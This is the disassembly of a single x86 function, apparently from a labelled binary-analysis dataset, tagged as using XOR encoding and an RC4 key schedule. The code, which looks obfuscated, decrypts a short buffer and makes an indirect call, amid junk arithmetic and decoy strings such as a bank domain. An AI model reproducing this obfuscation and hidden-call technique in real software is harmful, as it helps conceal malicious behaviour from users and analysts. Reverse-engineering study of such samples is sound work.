Function at 0x1001dd1c
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
push esi
mov esi, dword [0x10040ee0]
xor eax, eax
push edi
mov edi, dword [0x10040e00]
mov edx, str.DARK_TURQUOISE
push 0x29
mov dword [ebp - 8], eax
pop eax
push ecx
push esi
mov ecx, edi
mov dword [ebp - 0x34], 0x221d
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x479
mov dword [ebp - 0x28], 0xc39
mov dword [ebp - 0x24], 0x741
mov dword [ebp - 0x20], 0x138a
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x1bb1
mov dword [ebp - 0x14], 0x1516
mov dword [ebp - 0x10], 0x1e65
call fcn.1001ac79
pop ecx
pop ecx
xor ecx, ecx
mov eax, ecx
and esi, 0x74454803
inc eax
cmp byte [eax + str.DARK_TURQUOISE], cl
jne 0x1001dd8d
push ecx
push esi
mov edx, str.gs_nWaitingForGui___0
mov dword [ebp - 0xc], eax
mov ecx, edi
call fcn.1001ac79
mov eax, dword [ebp - 0x4c]
pop ecx
pop ecx
jmp 0x1001ddda
cmp eax, 0x1e93
jne 0x1001ddc8
mov edi, esi
or edi, 0xc0206342
call fcn.1001c3ab
lea esi, [edi + 0x5b7796e2]
call fcn.1001c04f
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp eax, dword [ebp - 0xc]
jb 0x1001ddb4
mov eax, dword [ebp - 8]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x1001ddef
inc eax
cmp eax, 0xa
jl 0x1001dde5
mov eax, dword [ebp + eax*4 - 0x34]
xor eax, 0x29
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0xc], eax
mov edx, esi
mov ecx, edi
call fcn.1001ad01
mov eax, dword [ebp - 0xc]
xor ecx, ecx
imul esi, esi, 0xff7cdf5d
inc eax
mov dword [ebp - 0xc], eax
cmp word [eax*2 + str.Variable], cx
jne 0x1001ddfe
cmp eax, 0x9c1
jne 0x1001de2f
add esi, 0x6fec5932
jmp 0x1001de35
lea edi, [esi + 0x30f00988]
mov eax, ecx
mov dword [ebp - 0x38], 0x1cf
mov dword [ebp - 0x34], 0xbbc
mov dword [ebp - 0x30], 0x1cea
mov dword [ebp - 0x2c], 0xc54
mov dword [ebp - 0x28], 0x2554
mov dword [ebp - 0x24], 0x1cc7
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0x555
mov dword [ebp - 0x18], 0x1684
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 0x265a
cmp eax, 9
je 0x1001de87
inc eax
cmp eax, 0xb
jl 0x1001de7c
mov eax, dword [ebp + eax*4 - 0x38]
mov dword [ebp - 0xc], eax
mov eax, ecx
mov dword [ebp - 0x34], 0xacb
mov dword [ebp - 0x30], 0xc5a
mov dword [ebp - 0x2c], 0x1a57
mov dword [ebp - 0x28], 0x7db
mov dword [ebp - 0x24], 0xc12
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0x160c
mov dword [ebp - 0x10], 0x2162
cmp eax, 5
je 0x1001ded5
inc eax
cmp eax, 0xa
jl 0x1001deca
mov eax, dword [ebp + eax*4 - 0x34]
xor edi, 0x2103da72
sub esi, 0x6228a24e
mov dword [ebp - 0x54], eax
mov dword [ebp - 4], edi
mov dword [ebp - 0x50], esi
call fcn.1001c28f
mov esi, str.barclaycard.co.uk
lea edi, [ebp - 0x7c]
xor ecx, ecx
mov eax, ecx
mov dword [ebp - 8], ecx
mov cl, byte [0x10040f44]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0x7c]
jne 0x1001df75
test cl, cl
je 0x1001df36
cmp byte [ebp + eax - 0x7c], 0
je 0x1001df36
call fcn.1001bcbe
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov cl, byte [eax + 0x10040f44]
cmp cl, byte [ebp + eax - 0x7c]
je 0x1001df13
mov ecx, dword [ebp - 8]
cmp ecx, eax
jae 0x1001df75
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 8]
cmp ecx, 0x2433
jne 0x1001df5f
and esi, 0x7112da40
mov edx, 0x10040f44
push ecx
push esi
call fcn.1001b763
pop ecx
pop ecx
imul esi, esi, 0xa055a27a
call fcn.1001b079
mov ecx, dword [ebp - 8]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, edi
jb 0x1001df43
xor esi, esi
mov dword [ebp - 0x28], 0x1147
xor ecx, ecx
mov dword [ebp - 0x24], 0x1386
inc ecx
mov dword [ebp - 0x20], 0x1dfa
mov eax, esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x97f
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0x1989
mov dword [ebp - 0x10], ecx
cmp eax, ecx
je 0x1001dfb5
inc eax
cmp eax, 9
jl 0x1001dfab
mov eax, dword [ebp + eax*4 - 0x30]
mov ecx, str.Variable
and dword [ebp - 4], 0x93a6005c
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x50], esi
call fcn.1001b360
mov ecx, esi
lea edi, [ebp - 0x7c]
mov esi, str.geometre_expert
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x7c], 0x44
jne 0x1001e001
mov al, 0x44
test al, al
je 0x1001e001
cmp byte [ebp + ecx - 0x7c], 0
je 0x1001e001
mov al, byte [ecx + 0x100394e5]
inc ecx
cmp al, byte [ebp + ecx - 0x7c]
je 0x1001dfe9
movzx eax, byte [ebp + ecx - 0x7c]
movzx ecx, byte [ecx + str.DARK_TURQUOISE]
sub ecx, eax
cmp ecx, 0x1c4b
jne 0x1001e02b
imul eax, dword [ebp - 4], 0x973214a5
mov dword [ebp - 4], eax
call fcn.1001adfe
mov esi, dword [ebp - 4]
jmp 0x1001e040
mov esi, dword [ebp - 4]
mov edx, str.gs_nWaitingForGui___0
imul ecx, esi, 0xd508649e
push ecx
call fcn.1001ba20
pop ecx
xor ecx, ecx
mov dword [ebp - 0x40], 0x1101
inc ecx
mov dword [ebp - 0x3c], 0x7b9
lea eax, [esi - 0x3fbe90d9]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ecx
imul ecx, eax, 0x97be6cd2
or eax, 0xf819f83a
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x38], 0x57e
mov dword [ebp - 0x30], 0x124
mov dword [ebp - 0x2c], 0x1676
mov dword [ebp - 0x24], 0x24a
mov dword [ebp - 0x20], 0x2503
mov dword [ebp - 0x18], 0x809
mov dword [ebp - 0x14], 0xeda
mov dword [ebp - 0x10], 0x61c
mov dword [ebp - 8], ecx
cmp eax, 6
je 0x1001e0b7
inc eax
cmp eax, 0xd
jl 0x1001e0ac
mov eax, dword [ebp + eax*4 - 0x40]
lea edi, [ebp - 0x84]
push 6
pop ecx
mov esi, str.._AVwxRegionWithCombine__
mov dword [ebp - 0x8c], eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], 0x6a898128
mov dword [ebp - 0x5c], 0x5ae11efc
mov dword [ebp - 0x58], 0x49974d22
movsw word es:[edi], word [esi]
call fcn.1001adfe
mov edi, dword [ebp - 8]
xor eax, eax
mov ecx, eax
add edi, 0xa7a71542
inc ecx
cmp byte [ecx + str.gs_nWaitingForGui___0], al
jne 0x1001e0f4
mov eax, dword [ebp + 8]
cmp eax, ecx
jae 0x1001e134
mov edx, edi
mov esi, edi
mov edi, esi
cmp eax, 0x18f6
jne 0x1001e11f
mov edi, edx
and edi, 0x79c19765
xor edi, 0xd3eb9017
inc eax
mov dword [0x10040ee0], edi
mov edx, edi
mov esi, edx
cmp eax, ecx
jb 0x1001e10e
add dword [ebp - 4], 0x781a908f
or edi, 0x2719aa07
xor ecx, ecx
mov dword [ebp - 8], edi
mov eax, ecx
mov byte [ebp + eax - 0x1fc], al
inc eax
cmp eax, 0x100
jb 0x1001e148
mov esi, ecx
mov dword [ebp - 0x48], 0x19
mov edi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x1fc]
mov eax, esi
mov byte [ebp - 0x41], cl
div dword [ebp - 0x48]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x84]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1fc]
mov byte [ebp + esi - 0x1fc], al
inc esi
mov al, byte [ebp - 0x41]
mov byte [ebp + edi - 0x1fc], al
cmp esi, 0x100
jb 0x1001e162
mov edi, dword [ebp - 8]
mov edx, str.DARK_TURQUOISE
push str.gs_nWaitingForGui___0
push edi
mov ecx, edi
call fcn.1001a225
mov esi, dword [ebp - 4]
xor eax, eax
pop ecx
pop ecx
cmp byte [0x10040f44], al
je 0x1001e1f0
mov edi, esi
xor edi, 0x85233eb6
inc eax
cmp byte [eax + 0x10040f44], 0
jne 0x1001e1d2
cmp eax, 0xb0
jb 0x1001e1f0
imul esi, esi, 0xc6627ae0
call fcn.1001a47e
jmp 0x1001e200
mov ecx, str.wxART_GO_DOWN
imul edi, esi, 0x6aa08961
call fcn.1001b360
mov eax, str.keyMaterial
mov ecx, edi
push eax
mov edx, eax
call fcn.1001a11b
pop ecx
xor ecx, ecx
mov eax, ecx
or edi, 0x7724ccbb
inc eax
cmp word [eax*2 + str.Variable], cx
jne 0x1001e214
mov ecx, str.gs_nWaitingForGui___0
mov dword [ebp - 0x48], eax
call fcn.1001b50c
cmp dword [ebp - 0x48], 0xcd4
jbe 0x1001e243
add esi, 0x7cdeda07
jmp 0x1001e24e
call fcn.1001aae9
or esi, 0xefc36161
xor eax, eax
or esi, 0xe1274b60
mov dword [ebp - 4], esi
mov edi, eax
mov dword [ebp - 8], eax
mov esi, eax
lea eax, [esi + 1]
movzx esi, al
call fcn.1001a2d4
mov cl, byte [ebp + esi - 0x1fc]
mov eax, dword [ebp - 8]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x1fc]
mov byte [ebp + esi - 0x1fc], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x1fc], cl
movzx eax, byte [ebp + esi - 0x1fc]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1fc]
xor al, byte [ebp + edi - 0x60]
mov byte [ebp + edi - 0x78], al
inc edi
cmp edi, 0xc
jb 0x1001e260
mov esi, dword [ebp - 4]
xor eax, eax
push 0x19
pop ecx
push 0x2d
mov dword [ebp - 0x28], ecx
pop ecx
mov byte [ebp - 0x6c], al
mov dword [ebp - 0x2c], 0x1906
mov dword [ebp - 0x24], 0x2015
mov dword [ebp - 0x20], 0x1bb2
mov dword [ebp - 0x1c], 0x179e
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
cmp eax, 7
je 0x1001e2fb
inc eax
cmp eax, 8
jl 0x1001e2f0
mov eax, dword [ebp + eax*4 - 0x2c]
mov dword [ebp - 0x48], eax
call fcn.1001afdf
xor esi, 0xa28fba55
mov edi, str.keyMaterial
mov dword [ebp - 4], esi
mov dword [0x10040ee0], esi
xor esi, esi
call fcn.1001c28f
lea edi, [edi + 2]
cmp word [edi], si
jne 0x1001e31d
call fcn.10019f0d
mov esi, dword [ebp - 4]
lea eax, [esi + 0x5421b7f5]
mov dword [0x10040e00], eax
mov eax, dword [ebp - 0x54]
cmp dword [ebp + 8], eax
jne 0x1001e535
push 5
pop ecx
xor edi, edi
mov dword [ebp - 0x3c], ecx
mov eax, edi
mov dword [ebp - 0x38], 0xae7
mov dword [ebp - 0x34], 0x112f
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0x2039
mov dword [ebp - 0x24], 0x22e6
mov dword [ebp - 0x20], 0xd3e
mov dword [ebp - 0x1c], 0xf41
mov dword [ebp - 0x18], 0x14b8
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 0x280
test eax, eax
je 0x1001e39e
inc eax
cmp eax, 0xc
jl 0x1001e394
mov eax, dword [ebp + eax*4 - 0x3c]
and esi, 0x82cd1a9d
mov dword [ebp - 0x4c], eax
mov eax, 0xe8
mov dword [ebp - 4], esi
mov dword [0x10040e00], esi
xor esi, 0x87902010
mov dword [ebp + 8], esi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0x17ad
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x1618
mov dword [ebp - 0x10], 0x1c59
call fcn.1001adfe
push 5
mov edx, edi
mov esi, str.9_9d9h9l9
pop ecx
lea edi, [ebp - 0x68]
mov dword [ebp - 0xc], edx
rep movsd dword es:[edi], dword [esi]
push 0x46
pop eax
xor esi, esi
cmp ax, word [ebp - 0x68]
jne 0x1001e44b
mov ecx, eax
mov eax, esi
test cx, cx
je 0x1001e44b
cmp word [ebp + eax - 0x68], si
je 0x1001e44b
push 0x10040f44
push str.keyMaterial
mov edx, str.Variable
mov ecx, str.DARK_TURQUOISE
call fcn.1001999b
mov edx, dword [ebp - 0xc]
inc edx
pop ecx
pop ecx
mov dword [ebp - 0xc], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.Function_SymSetOptions___not_found.]
cmp cx, word [ebp + eax - 0x68]
je 0x1001e40c
movzx eax, byte [ebp + edx*2 - 0x68]
movzx ecx, byte [edx*2 + str.Function_SymSetOptions___not_found.]
sub ecx, eax
cmp ecx, 0x1e57
jne 0x1001e48b
mov eax, dword [ebp - 4]
mov ecx, str.keyMaterial
or eax, 0xdba07a6e
mov dword [0x10040ee0], eax
call fcn.1001a6e8
mov eax, dword [0x10040ee0]
mov dword [ebp + 8], eax
mov eax, dword [0x10040e00]
mov dword [ebp - 4], eax
jmp 0x1001e497
xor dword [ebp + 8], 0x9742fcb4
call fcn.10019e08
push 0x1b
mov eax, esi
mov dword [ebp - 0xc], esi
pop ecx
mov esi, str.Cannot_handle_different_values_per_sample_for___s_
lea edi, [ebp - 0xfc]
rep movsd dword es:[edi], dword [esi]
push 0x46
pop ecx
movsw word es:[edi], word [esi]
cmp cx, word [ebp - 0xfc]
jne 0x1001e4e5
xor esi, esi
mov edx, esi
test cx, cx
je 0x1001e4e2
cmp word [ebp + edx - 0xfc], si
je 0x1001e4e2
inc eax
lea edx, [eax + eax]
movzx ecx, word [edx + str.Function_SymSetOptions___not_found.]
cmp cx, word [ebp + edx - 0xfc]
je 0x1001e4be
mov dword [ebp - 0xc], eax
call fcn.1001b079
mov ecx, dword [ebp - 0xc]
movzx eax, byte [ebp + ecx*2 - 0xfc]
movzx ecx, byte [ecx*2 + str.Function_SymSetOptions___not_found.]
sub ecx, eax
cmp ecx, 0x12d3
jne 0x1001e511
mov eax, dword [ebp - 4]
add eax, 0x60570bde
jmp 0x1001e519
mov eax, dword [ebp + 8]
add eax, 0xd2fcc8d6
mov dword [0x10040ee0], eax
mov eax, dword [ebp - 0x54]
cmp eax, 2
je 0x1001e52c
inc eax
cmp eax, 7
jl 0x1001e521
mov esi, dword [ebp + eax*4 - 0x28]
jmp 0x1001e64d
mov eax, dword [ebp - 0x88]
cmp dword [ebp + 8], eax
jne 0x1001e64a
push 5
pop ecx
xor edi, edi
mov dword [ebp - 0x30], 0x1c7
mov eax, edi
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0x1ad0
add esi, 0x252ec144
mov dword [ebp - 0x24], 0x25f7
mov dword [ebp - 0x20], 0xb0f
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0x24fd
mov dword [ebp - 0x10], ecx
cmp eax, 8
je 0x1001e58b
inc eax
cmp eax, 9
jl 0x1001e580
mov eax, dword [ebp + eax*4 - 0x30]
mov ecx, 0xcb
mov dword [ebp - 0x4c], eax
mov eax, edi
mov dword [ebp - 0x2c], 0x1dac
mov dword [ebp - 0x28], 0x128c
mov dword [ebp - 0x24], 0x1d78
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0x2d4
mov dword [ebp - 0x14], 0x1fbf
mov dword [ebp - 0x10], 0x1073
cmp eax, 3
je 0x1001e5d4
inc eax
cmp eax, 8
jl 0x1001e5c9
mov eax, dword [ebp + eax*4 - 0x2c]
xor eax, 0x71
mov dword [ebp - 0xc], eax
call fcn.1001afdf
add esi, 0x86a18da6
inc edi
cmp byte [edi + str.DARK_TURQUOISE], 0
jne 0x1001e5e3
push str.DARK_TURQUOISE
push str.keyMaterial
mov edx, str.Variable
mov dword [0x10040ee0], esi
mov ecx, str.gs_nWaitingForGui___0
call fcn.1001999b
pop ecx
pop ecx
cmp edi, 0x24c7
jae 0x1001e62a
and esi, 0x8cd91400
mov dword [0x10040ee0], esi
jmp 0x1001e63e
mov eax, str.gs_nWaitingForGui___0
push str.DARK_TURQUOISE
mov edx, eax
mov ecx, eax
call fcn.10019b9c
pop ecx
xor esi, 0x7c65d575
mov dword [0x10040e00], esi
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x8c]
lea edx, [ebp - 0x78]
call fcn.10018ca7
call eax
mov edx, dword [0x1003fcc0]
add eax, edx
mov edi, dword [ebp - 0x48]
mov dword [ebp + 8], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x571
mov ecx, eax
mov dword [ebp - 0x38], 0xa1f
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0x1674
mov dword [ebp - 0x2c], 0x104c
mov dword [ebp - 0x28], 0x44f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x1cb
mov dword [ebp - 0x1c], 0x10db
mov dword [ebp - 0x18], 0x18b9
mov dword [ebp - 0x14], 0x126a
mov dword [ebp - 0x10], 0x1ce9
cmp ecx, 6
je 0x1001e6c6
inc ecx
cmp ecx, 0xc
jl 0x1001e6bb
mov ecx, dword [ebp + ecx*4 - 0x3c]
lea eax, [ebp + 8]
push eax
call fcn.1001daa3
pop ecx
mov ecx, dword [eax*8 + 0x1003fcc8]
add ecx, dword [ebp - 0x4c]
add ecx, dword [0x1004133c]
movzx eax, byte [ecx]
cmp eax, esi
je 0x1001e6fb
cmp edi, 0x2c
je 0x1001e6fd
mov edx, dword [0x1003fcc0]
jmp 0x1001e66b
mov eax, ecx
pop edi
pop esi
leave
ret